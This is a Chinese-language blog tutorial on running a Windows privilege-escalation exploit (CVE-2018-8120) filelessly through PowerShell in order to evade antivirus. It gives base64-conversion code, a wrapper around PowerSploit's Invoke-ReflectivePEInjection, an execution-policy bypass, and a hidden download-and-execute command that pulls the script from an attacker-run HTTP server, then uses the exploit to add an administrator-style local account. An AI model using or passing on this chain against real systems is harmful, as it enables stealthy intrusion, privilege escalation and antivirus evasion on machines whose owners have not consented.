将EXE程序通过Powershell形式实现无文件运行

[TOC]
# 实践研究
> 本篇文写了挺久了，18年底进行总结编写，一直忘记发出来，当时在想否能将某个EXE使用PowerShell通过无文件的方式进行利用，于是就在网上搜索了各种资料，搜索到了一些相关资料，并对该方式进行尝试。

本次实验对象：

- 目标系统：Windows 2008 R2 Datacenter
- 提权EXP：CVE-2018-8120

通过做Powershell下载木马到目标机执行这个实现发现，实际上如果EXE木马如果没有经过免杀处置的话，几乎90%都会被杀毒软件干掉，这个时候就在考虑是否能把EXE改成PowerShell脚本去执行，从而绕过一些由于未及时更新相关策略的杀毒软件呢，于是乎就上网搜索相关资料，就搜到了一个神器：`PowerSploit`里面有一个模块为：`Invoke-ReflectivePEInjection`这是一款可以将Windows PE文件（DLL / EXE）反射加载到PowerShell进程，或者反射性的将DLL注入远程进程的模块。

Github:https://github.com/PowerShellMafia/PowerSploit

首先先把编译好的`CVE-2018-8120`EXP进行Base64编码，因为后续使用需要用到EXE转换Bae64后的编码，转换为Base64代码为：
```powershell
function Convert-BinaryToString {
   [CmdletBinding()] param (
      [string] $FilePath
   )
   try {
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
   }
   catch {
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
   }
   if ($ByteArray) {
      $Base64String = [System.Convert]::ToBase64String($ByteArray);
   }
   else {
      throw '$ByteArray is $null.';
   }
   Write-Output -InputObject $Base64String;
}
```
测试过程中发发现，在使用Convert-BinaryToString对exe程序进行Base64编码转换时，需要使用exe的绝对路径，不然会在读取文件时抛出异常
![](http://www.bugsafe.cn/usr/uploads/2022/01/889090964.png)

```
PS C:\Users\Administrator\Desktop\PowerSploit> .\BinaryToBase64.ps1
PS C:\Users\Administrator\Desktop\PowerSploit> Convert-BinaryToString 需要转换的exe文件的绝对路径
```

![](http://www.bugsafe.cn/usr/uploads/2022/01/2472655991.png)

随后将exe程序进行Base64编码后，我们需要配合使用Invoke-ReflectivePEInjection，下载地址可到`参考文献`处获取，代码如下：
```
function Invoke-ReflectivePEInjection
{
 #直接将Github中的Invoke-ReflectivePEInjection函数复制进来即可直接调用
}
$InputString = '填入exe程序转换后的Base64编码'
$PEBytes = [System.Convert]::FromBase64String($InputString)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Args"
<#
我们可以直接在PowerShell脚本中写完调用该函数的操作，就可以避免在外面调用函数导致出现字符串长度过长导致无法使用xp_cmdshell执行Powershell的情况了。
#>
```
![](http://www.bugsafe.cn/usr/uploads/2022/01/2494953022.png)

在-ExeArgs后输入当前exe程序所需要传递的参数值，比如我需要用该exp提权创建一个账号：

注意，当程序需要传递参数时，比如：cve-2018-8120.exe "whoami" ，参数是需要双引号包住的，那么在转换成powershell使用时也需要对参数进行包裹，但是由于双引号不能嵌套双引号，因此就可以使用单引号嵌套双引号的方式进行嵌套：
```
-ExeArgs '"net user powershell_test Test@123QWE /add"'
```

![](http://www.bugsafe.cn/usr/uploads/2022/01/3037050033.png)

先拿本地虚拟机测试一下，看是否能成功运行该PowerShell脚本：
```
<#
 注意：默认情况下Powershell禁止Powershell脚本在系统中执行，当你通过PowerShell文件执行命令的时候可能会提示:无法加载文件 X:\XXXX\Exploit.ps1，因为在此系统中禁止执行脚本。
 这个时候就可以使用-ExecutionPolicy Bypass的形式去绕过该策略的限制。
#>
Powershell -ExecutionPolicy Bypass -File Exploit.py 
```
如下图：
![](http://www.bugsafe.cn/usr/uploads/2022/01/3899584721.png)

这个时候就可以加上-ExecutionPolicy Bypass即可运行：
![](http://www.bugsafe.cn/usr/uploads/2022/01/2247176089.png)
成功运行该EXP，也就是说明，通过PELoad是可以在将EXE程序通过Powershell去运行的。

#尝试实践
首先搭建一个HTTP服务器，并且将写好的Powershell脚本放入对应目录中，用于目标机器远程获取代码，这里使用的是Python开了一个HTTP服务器。
```
python -m SimpleHTTPServer 8888
```
![](http://www.bugsafe.cn/usr/uploads/2022/01/2306003313.png)
Powershell脚本地址：http://192.168.31.7:8888/Exploit.ps1
在目标机器中执行从HTTP服务器获取代码并运行脚本的命令：
```
powershell -w hidden -nop -ep bypass -c IEX (new-object net.webclient).downloadstring('http://192.168.31.7:8888/Exploit.ps1')
```
注意：DownloadString中的URL，必须使用单引号包裹，不然执行Powershell代码的时候会出现报错的情况
![](http://www.bugsafe.cn/usr/uploads/2022/01/3118266238.png)

成功执行命令后，可以看到HTTP服务器，由192.168.31.68发起的拉取Exploit.ps1代码的记录并且成功运行Powershell脚本。
![](http://www.bugsafe.cn/usr/uploads/2022/01/889529273.png)
![](http://www.bugsafe.cn/usr/uploads/2022/01/2292450515.png)
使用Powershell执行提权EXP成功创建用户。

# 问题小结
在本次的测试过程中，也是遇到了不少的问题，归纳后如下 ：
- 1.根据操作系统来定，64位操作系统CMD下默认使用PowerShell是为x64的
![](http://www.bugsafe.cn/usr/uploads/2022/01/1135715445.png)

- 2.根据不同的exe程序，可能都会出现不同的问题，当你遇到报错为：
```
Invoke-Command : PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)
```
![](http://www.bugsafe.cn/usr/uploads/2022/01/643287570.png)
这个时候可能就为载入的exe程序与PELoad的架构不匹配，换成x86的PowerShell运行脚本即可。
![](http://www.bugsafe.cn/usr/uploads/2022/01/2516960793.png)
- 3.当遇到报错提示为：
```
Invoke-Command : VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free).
```
![](http://www.bugsafe.cn/usr/uploads/2022/01/2340093571.png)

这里可以看到报出的错误是关于ASLR的警告，ASLR是一种针对缓冲区溢出的安全保护技术，我们只需要在调用函数时加上-ForceASLR参数即可。

![](http://www.bugsafe.cn/usr/uploads/2022/01/3871460948.png)
因此大家在选择Exp或者某些程序的时候，最好就是严格要求目标操作系统的架构是选择，不然可能会出现各种运行的问题。

Poacher's Blog

信息安全梦开始的地方,一个菜鸡#

将EXE程序通过Powershell形式实现无文件运行

添加新评论

最新文章